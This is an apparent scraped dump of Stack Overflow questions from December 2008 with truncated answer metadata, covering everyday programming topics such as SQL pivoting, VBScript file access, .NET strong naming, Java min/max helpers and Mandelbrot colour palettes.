NULL) , IIF(NOT ([Measures].[LagerStk] = 0), Sum([Time].[Year - Week - Date].[Date].members(0): ClosingPeriod([Time].[Year - Week - Date].[Date]), [Measures].[LagerStk]), NULL))), VISIBLE = 1; </code></pre> <p>The code is inspired from this and modified for two hierarchies in the time dimension: <a href="http://www.sqlserveranalysisservices.com/OLAPPapers/InventoryManagement%20in%20AS2005v2.htm" rel="nofollow noreferrer">http://www.sqlserveranalysisservices.com/OLAPPapers/InventoryManagement%20in%20AS2005v2.htm</a></p> <p>This is on SQL server 2005 Enterprise edition.</p>
[ { "answer_id": 371866, "author": "Anders Rune Jensen", "author_id": 13995, "author_profile": "https://Stackoverflow.com/users/13995", "pm_score": 2, "selected": true, "text": "WITH MEMBER [Time].[Month].a AGGREGATE \n({[Time].[Month].[Month].&[2008-03-01T00:00:00], \n [Time].[Month].[Mo...
2008/12/15
[ "https://Stackoverflow.com/questions/369198", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13995/" ]
369,209
<p>I'm writing a programmer's text editor (yes another one) in Perl called <a href="http://kephra.sourceforge.net/" rel="nofollow noreferrer">Kephra</a>, which is also a CPAN module of course and bundled with <a href="http://cpanratings.perl.org/dist/Module-Install" rel="nofollow noreferrer">Module::Install</a>. Recently I saw that <a href="http://cpanratings.perl.org/dist/Module-Build" rel="nofollow noreferrer">Module::Build</a> has gone into core, so if I switch I could reduce dependencies. Is there any other reason to switch?</p>
[ { "answer_id": 369229, "author": "mat", "author_id": 42083, "author_profile": "https://Stackoverflow.com/users/42083", "pm_score": 3, "selected": false, "text": "Module::Build" }, { "answer_id": 561392, "author": "Adam Bellaire", "author_id": 21632, "author_profile": ...
2008/12/15
[ "https://Stackoverflow.com/questions/369209", "https://Stackoverflow.com", "https://Stackoverflow.com/users/29269/" ]
369,211
<p>I've got a node struct</p> <pre><code>struct Node{CString text, int id;}; </code></pre> <p>in a sorted vector. </p> <p>I'm wondering if there's a function in algorithm that will do a binary search of the vector and find an element. </p>
[ { "answer_id": 369276, "author": "Ferruccio", "author_id": 4086, "author_profile": "https://Stackoverflow.com/users/4086", "pm_score": 5, "selected": true, "text": "std::binary_search()" }, { "answer_id": 20390430, "author": "razeh", "author_id": 139781, "author_profi...
2008/12/15
[ "https://Stackoverflow.com/questions/369211", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31325/" ]
369,213
<p>I am writing a addressbook module for my software right now. I have the database set up so far that it supports a very flexible address-book configuration.</p> <p>I can create n-entries for every type I want. Type means here data like 'email', 'address', 'telephone' etc.</p> <p>I have a table named 'contact_profiles'.</p> <p>This only has two columns:</p> <pre><code>id Primary key date_created DATETIME </code></pre> <p>And then there is a table called contact_attributes. This one is a little more complex:</p> <pre><code>id PK #profile (Foreign key to contact_profiles.id) type VARCHAR describing the type of the entry (name, email, phone, fax, website, ...) I should probably change this to a SET later. value Text (containing the value for the attribute). </code></pre> <p>I can now link to these profiles, for example from my user's table. But from here I run into problems.</p> <p>At the moment I would have to create a JOIN for each value that I want to retrieve. Is there a possibility to somehow create a View, that gives me a result with the type's as columns?</p> <p>So right now I would get something like</p> <pre><code>#profile type value 1 email name@domain.tld 1 name Sebastian Hoitz 1 website domain.tld </code></pre> <p>But it would be nice to get a result like this:</p> <pre><code>#profile email name website 1 name@domain.tld Sebastian Hoitz domain.tld </code></pre> <p>The reason I do not want to create the table layout like this initially is, that there might always be things to add and I want to be able to have multiple attributes of the same type.</p> <p>So do you know if there is any possibility to convert this dynamically?</p> <p>If you need a better description please let me know.</p>
[ { "answer_id": 369253, "author": "Michael Haren", "author_id": 29, "author_profile": "https://Stackoverflow.com/users/29", "pm_score": 1, "selected": false, "text": "SELECT cp.ID profile\n ,cp.Name\n ,(SELECT value FROM contact_attributes WHERE type = 'email' and profile = cp.id) email...
2008/12/15
[ "https://Stackoverflow.com/questions/369213", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9535/" ]
369,220
<p>I entered this statement in JSLint:</p> <pre><code>var number = new Number(3); </code></pre> <p>And received the following message:</p> <blockquote> <p>Do not use Number as a constructor.</p> </blockquote> <p>Why is that? The statement is creating a number object, not a primitive value, so I don't see why using <code>new</code> is a problem.</p> <p><strong>EDIT:</strong> Thanks for all the responses. They've got me thinking further, so I posted a follow-up question <a href="https://stackoverflow.com/questions/369424/question-about-objectmethod-in-javascript">here</a>.</p>
[ { "answer_id": 369257, "author": "Ates Goral", "author_id": 23501, "author_profile": "https://Stackoverflow.com/users/23501", "pm_score": 4, "selected": false, "text": "var number = new Number(3);\nalert(typeof number); // gives \"object\"\n" }, { "answer_id": 369258, "author...
2008/12/15
[ "https://Stackoverflow.com/questions/369220", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
369,230
<p>I am using Django and the Google Web Toolkit (GWT) for my current project. I would like to pass a ModelForm instance to GWT via an Http response so that I can "chop" it up and render it as I please. My goal is to keep the form in sync with changes to my models.py file, yet increase control I have over the look of the form. However, the django classes for serialization, serializers and simplejson, cannot serialize a ModelForm. Neither can cPickle. What are my alternatives? </p>
[ { "answer_id": 372985, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": true, "text": "{% for field in form.fields %}\n <div class=\"form-field\">{{ field }}</div>\n{% endfor %}\n" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369230", "https://Stackoverflow.com", "https://Stackoverflow.com/users/44440/" ]
369,242
<p>In my code segment, when I script the file name, it gives me a permission denied on the following line: </p> <pre><code>Set objTextFile = objFSO.OpenTextFile(strDirectory &amp; strFile, ForAppending, True) </code></pre> <p>Here is the script </p> <pre><code>'output log info Function OutputToLog (strToAdd) Dim strDirectory,strFile,strText, objFile,objFolder,objTextFile,objFSO strDirectory = "c:\eNet" strFile = "\weeklydel.bat" 'strText = "Book Another Holiday" strText = strToAdd ' Create the File System Object Set objFSO = CreateObject("Scripting.FileSystemObject") ' Check that the strDirectory folder exists If objFSO.FolderExists(strDirectory) Then Set objFolder = objFSO.GetFolder(strDirectory) Else Set objFolder = objFSO.CreateFolder(strDirectory) 'WScript.Echo "Just created " &amp; strDirectory End If If objFSO.FileExists(strDirectory &amp; strFile) Then Set objFolder = objFSO.GetFolder(strDirectory) Else Set objFile = objFSO.CreateTextFile(strDirectory &amp; strFile) 'Wscript.Echo "Just created " &amp; strDirectory &amp; strFile End If set objFile = nothing set objFolder = nothing ' OpenTextFile Method needs a Const value ' ForAppending = 8 ForReading = 1, ForWriting = 2 Const ForAppending = 2 Set objTextFile = objFSO.OpenTextFile(strDirectory &amp; strFile, ForAppending, True) ' Writes strText every time you run this VBScript objTextFile.WriteLine(strText) objTextFile.Close End Function </code></pre> <p>I have assigned the vbscript domain administrator permissions. Any ideas? </p> <p>thanks in advance</p>
[ { "answer_id": 369287, "author": "BenAlabaster", "author_id": 40650, "author_profile": "https://Stackoverflow.com/users/40650", "pm_score": 5, "selected": true, "text": "Set objFile = objFSO.CreateTextFile(strDirectory & strFile)\n" }, { "answer_id": 1826162, "author": "Chris...
2008/12/15
[ "https://Stackoverflow.com/questions/369242", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18853/" ]
369,246
<p><strong>Background</strong></p> <p>I have made a Web Service in Visual Studio, and I'm trying to consume it using the automatically generated proxy class. The Web Service returns a class that I have implemented, containing a List.</p> <p><strong>Question</strong></p> <p>The proxy class has automatically generated methods to send the SOAP to the web service. It uses the Invoke() method to execute the call, and then casts the result as a DataSet. How can I get this object back into the class I know it is?</p> <p>I know that I can hand-edit the auto-generated file, but that's not very maintainable, so I don't want to go down that route (any time the Web Service is rebuilt, the changes would have to be made again).</p> <p>Is there a way to tell the generated class to be more specific, and actually use the correct data type? Or do I have to write a clunky set of deserialisers to get my data back into the correct shape?</p> <p><strong>Example</strong></p> <p>One method in my Web Service class:</p> <pre><code>[WebMethod] public UpdateList RetrieveUpdates(long sessionID, string configurationVersion, string coreVersion, string researcherDBVersion) { ... } </code></pre> <p>Adding the class as a Web Reference generates the following proxy method:</p> <pre><code>public DataSet RetrieveUpdates(long sessionID, string configurationVersion, string coreVersion, string researcherDBVersion) { object[] results = this.Invoke("RetrieveUpdates", new object[] { sessionID, configurationVersion, coreVersion, researcherDBVersion}); return ((DataSet)(results[0])); } </code></pre> <p>The DataSet I receive from this method is always empty (because you can't cast from my class to a DataSet).</p> <p>Thanks in advance</p>
[ { "answer_id": 369308, "author": "Andrew Hare", "author_id": 34211, "author_profile": "https://Stackoverflow.com/users/34211", "pm_score": 0, "selected": false, "text": "UpdateList" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369246", "https://Stackoverflow.com", "https://Stackoverflow.com/users/37481/" ]
369,248
<p>I have been reading the proper article in MSDN, <em><a href="http://msdn.microsoft.com/en-us/library/wd40t7ad.aspx" rel="noreferrer">Strong-Named Assemblies</a></em> and a related Stack&nbsp;Overflow question, <em><a href="https://stackoverflow.com/questions/308756">Checking an assembly for a strong name</a></em>.</p> <ol> <li>To which extent can a strong-named assembly be verified to avoid tampering?</li> <li>Is it possible to use strong-naming to verify an assembly author?</li> </ol> <p>The first question arises after reading the CSharp411 article <em><a href="http://www.csharp411.com/net-assembly-faq-part-3-strong-names-and-signing/" rel="noreferrer">.NET Assembly FAQ – Part 3 – Strong Names and Signing</a></em>, which mentions this, among other problems of using strong names:</p> <blockquote> <p>"<strong><em>Cannot Stop Full Replacement.</strong> Strong names cannot prevent a hacker from removing the strong name signature, maliciously modifying your assembly, re-signing it with his own key, and then passing off his assembly as yours.</em>"</p> </blockquote> <p>The second question intends to find the differences between strong naming and other signing schemes like, say, <a href="http://www.iss.net/security_center/advice/Countermeasures/Authentication/Authenticode/default.htm" rel="noreferrer">Authenticode</a>. The same MSDN article mentioned early states:</p> <blockquote> <p>"<em>Note, however, that strong names in and of themselves do not imply a level of trust like that provided, for example, by a digital signature and supporting certificate.</em>"</p> </blockquote> <p>Am I trying to use strong-naming for much more than it was created for? Was strong-naming created just to avoid name clashes or a new kind of "GAC DLL Hell"?</p>
[ { "answer_id": 369477, "author": "HTTP 410", "author_id": 13118, "author_profile": "https://Stackoverflow.com/users/13118", "pm_score": 6, "selected": true, "text": "// Check that public key token matches what's expected.\nprivate static bool IsPublicTokenOkay_Check(byte [] tokenExpected...
2008/12/15
[ "https://Stackoverflow.com/questions/369248", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18552/" ]
369,277
<p>We've got a page in our asp.net web system that uses response.redirect to redirect the user directly to an excel file so it will download "automatically" without the user having to to a right click / save as.</p> <p>This works great - except for files over about 100k in IE7. Other browsers just download the large file fine, and IE works fine under that threshold, but at somewhere about 200k, IE just starts handing out "page cannot be displayed" errors.</p> <p>Obviously, we'd like the user to be able to download in IE as well - any ideas? Is there some kind of download size threshold thing I can override?</p>
[ { "answer_id": 369324, "author": "EndangeredMassa", "author_id": 106, "author_profile": "https://Stackoverflow.com/users/106", "pm_score": 2, "selected": true, "text": "Public Shared Sub SendFileToBrowser(ByRef response As HttpResponse, ByVal filepath As String, Optional ByVal filename A...
2008/12/15
[ "https://Stackoverflow.com/questions/369277", "https://Stackoverflow.com", "https://Stackoverflow.com/users/19074/" ]
369,288
<p>I'm using interface builder's tag feature to access some UILabels I'm instantiating in a xib file. Since this a UITextViewCell I want to avoid superfluous method calls, but I want to do it right too. Thus when I do:</p> <pre><code>UILabel *label = (UILabel *)[cell viewWithTag:1]; </code></pre> <p>I'm wondering if I should wrap it up like so:</p> <pre><code>if([[cell viewWithTag:1] isKindOfClass [UITableViewCell class]]) { UILabel *label = (UILabel *)[cell viewWithTag:1]; } </code></pre> <p>Any discussion on this would be appreciated.</p> <p>Thanks</p>
[ { "answer_id": 369988, "author": "Ashley Clark", "author_id": 4556, "author_profile": "https://Stackoverflow.com/users/4556", "pm_score": 3, "selected": false, "text": "enum" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369288", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46436/" ]
369,289
<p>Why would IE 7 display HTTP Error "Bad request" 400 on the same page that Firefox loads without complaining?</p>
[ { "answer_id": 393424, "author": "Piskvor left the building", "author_id": 19746, "author_profile": "https://Stackoverflow.com/users/19746", "pm_score": 0, "selected": false, "text": "\\" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369289", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46440/" ]
369,291
<p>In a multi-server environment, users will be able to use a page to put, update or delete files on the servers. I was considering using a webservice (on each server) called by the IIS thread to do that work (with an aspx management page).</p> <p>However, for obvious reasons, I don't really want anyone to be able to call that webservice (by POSTing a well-formed request from their machines).</p> <p>I am wondering what would be the most effective (in terms of complexity, scalability) way to ensure that the access to the webservice is restricted to my page (token? Sending the current user's Principal? I don't have access to their password so sending the login/password couple is out of the question)</p>
[ { "answer_id": 369490, "author": "Rex Morgan", "author_id": 46429, "author_profile": "https://Stackoverflow.com/users/46429", "pm_score": 1, "selected": true, "text": "IPrinciple _currentUser = HttpContext.Current.User;\n" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369291", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5789/" ]
369,297
<p><strong><em>Skunk Works Project</em></strong>: A project carried out by one part of a company without the knowledge of the remainder of the company.</p> <p>Looking for stories about any skunk works projects you've worked on or initiated:</p> <ul> <li>Was it successful? </li> <li>Were you found out? </li> <li>Were you punished or rewarded? </li> <li>How did you fund it? </li> <li>How did you staff it? </li> <li>How long did it take to finish, compared to above-ground projects? </li> <li>What was the cost, compared to above-ground projects? </li> <li>Was it formally adopted?</li> </ul>
[ { "answer_id": 369503, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "git svn clone" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369297", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7903/" ]
369,301
<p>Anticipating the day when multi-touch interfaces become more pervasive, are there libraries in Java that can be used for developing touch applications? I'm looking for interfaces similar to MouseListener / MouseMotionListener / MouseWheelListener.</p>
[ { "answer_id": 369387, "author": "James Van Huis", "author_id": 31828, "author_profile": "https://Stackoverflow.com/users/31828", "pm_score": 3, "selected": false, "text": "sparshui.client.Client" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369301", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2197/" ]
369,312
<p>I'm currently working on desktop application which calls third party API. After authorizing against their "web service", a kind of user token is returned which should be stored locally (even if user closes application). </p> <p>So I'm looking for solution to encrypt this token with user specific key. Does Windows (and .NET) provide some standard way for doing this? All I want is protect token from other users of same computer.</p> <p>P.S. I can't store hash, as I need to decrypt this token at startup.</p>
[ { "answer_id": 369330, "author": "mmx", "author_id": 33708, "author_profile": "https://Stackoverflow.com/users/33708", "pm_score": 4, "selected": true, "text": "System.Security.Cryptography.ProtectedData" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369312", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25718/" ]
369,334
<p>Is is possible to have a local variable in an anonymous c# methods, i.e. in the following code I would like to perform the count only once.</p> <pre><code>IQueryable&lt;Enquiry&gt; linq = db.Enquiries; if(...) linq = linq.Where(...); if(...) linq = linq.Where(e =&gt; (x &lt;= (from p in db.Orders where p.EnquiryId == e.Id select p).Count() &amp;&amp; (from p in db.Orders where p.EnquiryId == e.Id select p).Count() &lt;= y)); if(...) linq = linq.Where(...); var result = (from e in linq select e); </code></pre> <p>Is there a "let" for anonymous functions?</p> <p>Update: Note that I'm adding several Where clauses after this statement so I can't close with a select.</p> <p>/Niels</p>
[ { "answer_id": 369341, "author": "mmx", "author_id": 33708, "author_profile": "https://Stackoverflow.com/users/33708", "pm_score": 5, "selected": false, "text": " x => { int y = x + 1; return x + y; }\n" }, { "answer_id": 369388, "author": "Daniel Earwicker", "author_id":...
2008/12/15
[ "https://Stackoverflow.com/questions/369334", "https://Stackoverflow.com", "https://Stackoverflow.com/users/40939/" ]
369,348
<p>I have a number of icons used throughout an application - let's take ok/cancel icons as an example. At the moment they might be a tick and a cross (tick.png, cross.png) but I may want to replace them in future. Also, I would like to keep the resource path in one place.</p> <p>Is this ok:</p> <pre><code>public class Icons { public static Icon OK = new ImageIcon(Icons.class.getResource("/icons/tick.png"); public static Icon CANCEL = new ImageIcon(Icons.class.getResource("/icons/cross.png"); } </code></pre> <p>Or should I be doing this a different way? I don't mind relying on the existence of the image files at runtime since they're in the .jar</p> <p><strong>Solution</strong></p> <p>I've used Bent's idea for initialisation, and I've made the constants final:</p> <pre><code>public final class Icons { private static final Logger logger = Logger.getLogger(Icons.class); public static final Icon OK = icon("/icons/add.png"); public static final Icon CANCEL = icon("/icons/cancel.png"); private static Icon icon(String path) { URL resource = Icons.class.getResource(path); if(resource==null) { logger.error("Resource "+path+" does not exist"); return new ImageIcon(); } return new ImageIcon(resource); } } </code></pre>
[ { "answer_id": 369378, "author": "Bent André Solheim", "author_id": 44380, "author_profile": "https://Stackoverflow.com/users/44380", "pm_score": 2, "selected": true, "text": "public static final Icon ok = icon(\"ok.png\");\n\n\nprivate static Icon icon(String path) {\n\n URL resource...
2008/12/15
[ "https://Stackoverflow.com/questions/369348", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26334/" ]
369,356
<p>WinXP Pro Oracle 10g Instant Client 10.2.0.1 MS Access 2003</p> <p>When I link a table in MS Access, the pick list that appears shows me every table and view in the system I have access to. This list is quite large. Normally, I really only want to look at the tables that I own. Is there a way to filter the items displayed based on owner, or any other criteria?</p>
[ { "answer_id": 369378, "author": "Bent André Solheim", "author_id": 44380, "author_profile": "https://Stackoverflow.com/users/44380", "pm_score": 2, "selected": true, "text": "public static final Icon ok = icon(\"ok.png\");\n\n\nprivate static Icon icon(String path) {\n\n URL resource...
2008/12/15
[ "https://Stackoverflow.com/questions/369356", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8670/" ]
369,362
<p>I have a table named categories, which contains ID(long), Name(varchar(50)), parentID(long), and shownByDefault(boolean) columns. </p> <p>This table contains 554 records. All the shownByDefaultValues are 'false'.<br> When I execute 'select id, name from categories', pg returns me all the categories, orderer by its id.<br> Then I update some of the rows of the table('update categories set shownByDefault where parentId = 1'), update OK.<br> Then, when I try to execute the first query, which returns all the categories, they are returner with a very weird order.<br> I do not have problem to add 'order by', but since I am using JPA to get this values, anyone knows what the problem is or if there is a way to fix this?</p>
[ { "answer_id": 369371, "author": "Joachim Sauer", "author_id": 40342, "author_profile": "https://Stackoverflow.com/users/40342", "pm_score": 5, "selected": true, "text": "ORDER BY" }, { "answer_id": 369410, "author": "Community", "author_id": -1, "author_profile": "ht...
2008/12/15
[ "https://Stackoverflow.com/questions/369362", "https://Stackoverflow.com", "https://Stackoverflow.com/users/314728/" ]
369,364
<p>I'd like to know if it's possible to compile an .swf file at runtime via C# (would be called via a Flex Application). I've read some articles about using fsch.exe, but nothing that gave any concrete examples.</p> <p>I'm fairly certain this is possible, so a secondary question is whether it's feasible on a medium scale. I'd like to allow users to configure an swf, and then compile those settings directly into the swf for delivery rather than relying on external data storage for holding configuration details.</p> <p>Thanks in advance for any assistance you can offer - </p> <p>Bill</p>
[ { "answer_id": 369371, "author": "Joachim Sauer", "author_id": 40342, "author_profile": "https://Stackoverflow.com/users/40342", "pm_score": 5, "selected": true, "text": "ORDER BY" }, { "answer_id": 369410, "author": "Community", "author_id": -1, "author_profile": "ht...
2008/12/15
[ "https://Stackoverflow.com/questions/369364", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46445/" ]
369,367
<p>I thought this was pretty straight forward but I don't get the same results as the tutorials I read. I have a button on an html page that calls a function in script tags. I also have a reference to the prototype.js file which I haven't even begun to implement yet. If I leave that reference in the page, my function call does not work from the button's onclick event. Below is what is called from the button onclick event.</p> <p> </p> <p></p> <pre><code>callIt = function(){ alert('It worked!'); } &lt;/script&gt; </code></pre>
[ { "answer_id": 369401, "author": "Ben Scheirman", "author_id": 3381, "author_profile": "https://Stackoverflow.com/users/3381", "pm_score": 3, "selected": true, "text": "<script type=\"text/javascript\" src=\"prototype.js\"></script>\n" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369367", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2636656/" ]
369,383
<p>I am thinking about something like this:</p> <pre><code>public static &lt;T extends Comparable&lt;T&gt;&gt; T minOf(T...ts){ SortedSet&lt;T&gt; set = new TreeSet&lt;T&gt;(Arrays.asList(ts)); return set.first(); } public static &lt;T extends Comparable&lt;T&gt;&gt; T maxOf(T...ts){ SortedSet&lt;T&gt; set = new TreeSet&lt;T&gt;(Arrays.asList(ts)); return set.last(); } </code></pre> <p>But is not null safe, which is something I want too.</p> <p>Do you know a better way to solve this problem?</p> <p>EDIT:</p> <p>After the comments I have also tried min():</p> <pre><code>public static &lt;T extends Comparable&lt;T&gt;&gt; T minOf(T...ts){ return Collections.min(Arrays.asList(ts), new Comparator&lt;T&gt;(){ public int compare(T o1, T o2) { if(o1!=null &amp;&amp; o2!=null){ return o1.compareTo(o2); }else if(o1!=null){ return 1; }else{ return -1; } }}); } </code></pre> <p>What do you think of that?</p>
[ { "answer_id": 369413, "author": "Marc Novakowski", "author_id": 27020, "author_profile": "https://Stackoverflow.com/users/27020", "pm_score": 3, "selected": false, "text": "public static <T extends Comparable<T>> T minOf(T...ts){\n T min = null;\n for (T t : ts) {\n if (t !...
2008/12/15
[ "https://Stackoverflow.com/questions/369383", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1356709/" ]
369,417
<p>I'm puzzling over how to map a set of sequences to consecutive integers.</p> <p>All the sequences follow this rule:</p> <pre><code>A_0 = 1 A_n &gt;= 1 A_n &lt;= max(A_0 .. A_n-1) + 1 </code></pre> <p>I'm looking for a solution that will be able to, given such a sequence, compute a integer for doing a lookup into a table and given an index into the table, generate the sequence.</p> <p>Example: for length 3, there are 5 the valid sequences. A fast function for doing the following map (preferably in both direction) would be a good solution</p> <pre><code>1,1,1 0 1,1,2 1 1,2,1 2 1,2,2 3 1,2,3 4 </code></pre> <hr> <ul> <li>The point of the exercise is to get a packed table with a 1-1 mapping between valid sequences and cells.</li> <li>The size of the set in bounded only by the number of unique sequences possible.</li> <li>I don't know now what the length of the sequence will be but it will be a small, &lt;12, constant known in advance.</li> <li>I'll get to this sooner or later, but though I'd throw it out for the community to have "fun" with in the meantime.</li> </ul> <hr> <p>these are different valid sequences</p> <pre><code>1,1,2,3,2,1,4 1,1,2,3,1,2,4 1,2,3,4,5,6,7 1,1,1,1,2,3,2 </code></pre> <p>these are not</p> <pre><code>1,2,2,4 2, 1,1,2,3,5 </code></pre> <hr> <p>Related to <a href="https://stackoverflow.com/questions/346760/how-to-find-equivalent-texts">this</a></p>
[ { "answer_id": 369453, "author": "Tzury Bar Yochay", "author_id": 9296, "author_profile": "https://Stackoverflow.com/users/9296", "pm_score": 0, "selected": false, "text": "def valid_lines(lines):\n for line in lines:\n line = line.split(\",\")\n if line[0] == 1 and line...
2008/12/15
[ "https://Stackoverflow.com/questions/369417", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1343/" ]
369,424
<p>This is a follow-up question to <a href="https://stackoverflow.com/questions/369220/why-should-you-not-use-number-as-a-constructor">this one</a>.</p> <p>Take a look at these two examples: </p> <pre><code>var number1 = new Number(3.123); number1 = number1.toFixed(2); alert(number1); var number2 = 3.123; number2 = number2.toFixed(2); alert(number2); </code></pre> <p>I realize they both end up with the same value, but is it correct thinking to refer to a method of a primitive value? (In other words, 3.123.method as opposed to object.method?)</p>
[ { "answer_id": 369479, "author": "Matthew Crumley", "author_id": 2214, "author_profile": "https://Stackoverflow.com/users/2214", "pm_score": 3, "selected": false, "text": "Number" }, { "answer_id": 369480, "author": "Steven Huwig", "author_id": 28604, "author_profile"...
2008/12/15
[ "https://Stackoverflow.com/questions/369424", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
369,438
<p>I'm currently writing a program to generate really enormous (65536x65536 pixels and above) Mandelbrot images, and I'd like to devise a spectrum and coloring scheme that does them justice. The <a href="http://en.wikipedia.org/wiki/File:Mandel_zoom_00_mandelbrot_set.jpg" rel="noreferrer">wikipedia featured mandelbrot image</a> seems like an excellent example, especially how the palette remains varied at all zoom levels of the sequence. I'm not sure if it's rotating the palette or doing some other trick to achieve this, though.</p> <p>I'm familiar with the <a href="http://en.wikipedia.org/wiki/Mandelbrot_set#Continuous_.28smooth.29_coloring" rel="noreferrer">smooth coloring algorithm</a> for the mandelbrot set, so I can avoid banding, but I still need a way to assign colors to output values from this algorithm.</p> <p>The images I'm generating are pyramidal (eg, a series of images, each of which has half the dimensions of the previous one), so I can use a rotating palette of some sort, as long as the change in the palette between subsequent zoom levels isn't too obvious.</p>
[ { "answer_id": 369520, "author": "Paul Brinkley", "author_id": 18160, "author_profile": "https://Stackoverflow.com/users/18160", "pm_score": 2, "selected": false, "text": "(H2 - H1) * P + H1 = HP\n(S2 - S1) * P + S1 = SP\n(V2 - V1) * P + V1 = VP\n" }, { "answer_id": 1243788, ...
2008/12/15
[ "https://Stackoverflow.com/questions/369438", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12030/" ]
369,448
<p>I'm having this problem, same as ever, but never try to find the <em>right</em> solution</p> <p>code:</p> <pre><code> &lt;div id="ListOfTextAndPhotos"&gt; &lt;div style="border-bottom: solid 1px silver;"&gt; &lt;img src="photo.jpg" style="float: left"&gt; Some text about the photo &lt;/div&gt; &lt;div style="border-bottom: solid 1px silver;"&gt; &lt;img src="photo2.jpg" style="float: left"&gt; Some text about the photo2 &lt;/div&gt; &lt;div style="border-bottom: solid 1px silver;"&gt; &lt;img src="photo3.jpg" style="float: left"&gt; Some text about the photo3 &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Question: <strong>How do I to keep the photo inside the DIV?</strong> with the separator line under the photo</p>
[ { "answer_id": 369465, "author": "cLFlaVA", "author_id": 45109, "author_profile": "https://Stackoverflow.com/users/45109", "pm_score": 2, "selected": false, "text": " <div id=\"ListOfTextAndPhotos\">\n <div style=\"border-bottom: solid 1px silver;\">\n <img src=\"photo.jpg\...
2008/12/15
[ "https://Stackoverflow.com/questions/369448", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2385/" ]
369,452
<p>I am being powerfully tempted to use an unchecked exception as a short-circuit control-flow construct in a Java program. I hope somebody here can advise me on a better, cleaner way to handle this problem.</p> <p>The idea is that I want to cut short the recursive exploration of sub-trees by a visitor without having to check a "stop" flag in every method call. Specifically, I'm building a control-flow graph using a visitor over the abstract syntax tree. A <code>return</code> statement in the AST should stop exploration of the sub-tree and send the visitor back to the nearest enclosing if/then or loop block. </p> <p>The <code>Visitor</code> superclass (from the <a href="http://cs.nyu.edu/rgrimm/xtc/" rel="noreferrer">XTC library</a>) defines</p> <pre><code>Object dispatch(Node n) </code></pre> <p>which calls back via reflection methods of the form</p> <pre><code>Object visitNodeSubtype(Node n) </code></pre> <p><code>dispatch</code> is not declared to throw any exceptions, so I declared a private class that extends <code>RuntimeException</code></p> <pre><code>private static class ReturnException extends RuntimeException { } </code></pre> <p>Now, the visitor method for a return statement looks like</p> <pre><code>Object visitReturnStatement(Node n) { // handle return value assignment... // add flow edge to exit node... throw new ReturnException(); } </code></pre> <p>and every compound statement needs to handle the <code>ReturnException</code></p> <pre><code>Object visitIfElseStatement(Node n) { Node test = n.getChild(0); Node ifPart = n.getChild(1); Node elsePart = n.getChild(2); // add flow edges to if/else... try{ dispatch(ifPart); } catch( ReturnException e ) { } try{ dispatch(elsePart); } catch( ReturnException e ) { } } </code></pre> <p>This all works fine, except:</p> <ol> <li>I may forget to catch a <code>ReturnException</code> somewhere and the compiler won't warn me.</li> <li>I feel dirty.</li> </ol> <p>Is there a better way to do this? Is there a Java pattern I am unaware of to implement this kind of non-local flow-of-control?</p> <p>[UPDATE] This specific example turns out to be somewhat invalid: the <code>Visitor</code> superclass catches and wraps exceptions (even <code>RuntimeException</code>s), so the exception throwing doesn't really help. I've implemented the suggestion to return an <code>enum</code> type from <code>visitReturnStatement</code>. Luckily, this only needs to be checked in a small number of places (e.g., <code>visitCompoundStatement</code>), so it's actually a bit less hassle than throwing exceptions. </p> <p>In general, I think this is still a valid question. Though perhaps, if you are not tied to a third-party library, the entire problem can be avoided with sensible design.</p>
[ { "answer_id": 369494, "author": "Paul Brinkley", "author_id": 18160, "author_profile": "https://Stackoverflow.com/users/18160", "pm_score": 0, "selected": false, "text": "RuntimeException" }, { "answer_id": 369860, "author": "Dan Vinton", "author_id": 21849, "author_...
2008/12/15
[ "https://Stackoverflow.com/questions/369452", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1412/" ]
369,460
<p>I am using Hibernate 3.x, MySQL 4.1.20 with Java 1.6. I am mapping a Hibernate Timestamp to a MySQL TIMESTAMP. So far so good. The problem is that MySQL stores the TIMESTAMP in seconds and discards the milliseconds and I now need millisecond precision. I figure I can use a BIGINT instead of TIMESTAMP in my table and convert the types in my Java code. I'm trying to figure out if there is a better way of doing this using hibernate, mysql, JDBC or some combination so I can still use date functions in my HSQL and/or SQL queries?</p>
[ { "answer_id": 371326, "author": "bangroot", "author_id": 45693, "author_profile": "https://Stackoverflow.com/users/45693", "pm_score": 3, "selected": true, "text": "public class CalendarBigIntType extends org.hibernate.type.CalendarType {\n public Object get(ResultSet rs, String name...
2008/12/15
[ "https://Stackoverflow.com/questions/369460", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4476/" ]
369,495
